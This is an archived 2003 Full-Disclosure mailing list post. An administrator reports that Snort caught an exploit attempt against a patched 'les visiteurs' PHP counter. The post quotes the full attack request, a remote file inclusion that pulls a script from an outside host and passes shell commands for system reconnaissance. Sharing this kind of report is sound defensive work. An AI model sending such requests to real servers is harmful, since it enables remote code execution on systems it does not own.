[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-Disclosure] file inclusion (les visiteurs)

To: <full-disclosure@lists.netsys.com>
Subject: [Full-Disclosure] file inclusion (les visiteurs)
From: "Evert Daman" <evert@digipix.org>
Date: Mon, 1 Dec 2003 11:03:59 +0100

last night snort detected this request:

GET 
/counter/include/new-visitor.inc.php?lvc_include_dir=http://c2r.canalforbid.org/hax.gif?&cmd=cd%20/tmp;uname%20-a;id;cat%20/proc/version;ls
 

because i patched 'les visiteurs' as described by 'matthieu peschaud'
on bugtraq on the 26 of october nothing happend, but it looks like someone
is trying to exploit this bug. 
just want to mention it to this wonderfull list :)

kind regards,
Evert

Follow-Ups:
- Re: [Full-Disclosure] file inclusion (les visiteurs)
  - From: "Lorenzo Hernandez Garcia-Hierro" <lorenzohgh@nsrg-security.com>
- Re: [Full-Disclosure] file inclusion (les visiteurs)
  - From: Dan <dan@lockedbox.net>
- Re: [Full-Disclosure] file inclusion (les visiteurs)
  - From: "root" <root@freebox.mine.nu>

Prev by Date: re: [Full-Disclosure] Assembly Code Question
Next by Date: Re: [Full-Disclosure] #hackphreak lecture series (2)
Previous by thread: [Full-Disclosure] Virtual Programming VP-ASP Shopping Cart 5.0 multiple SQL Injection Vulnerabilities
Next by thread: Re: [Full-Disclosure] file inclusion (les visiteurs)
Index(es):
- Date
- Thread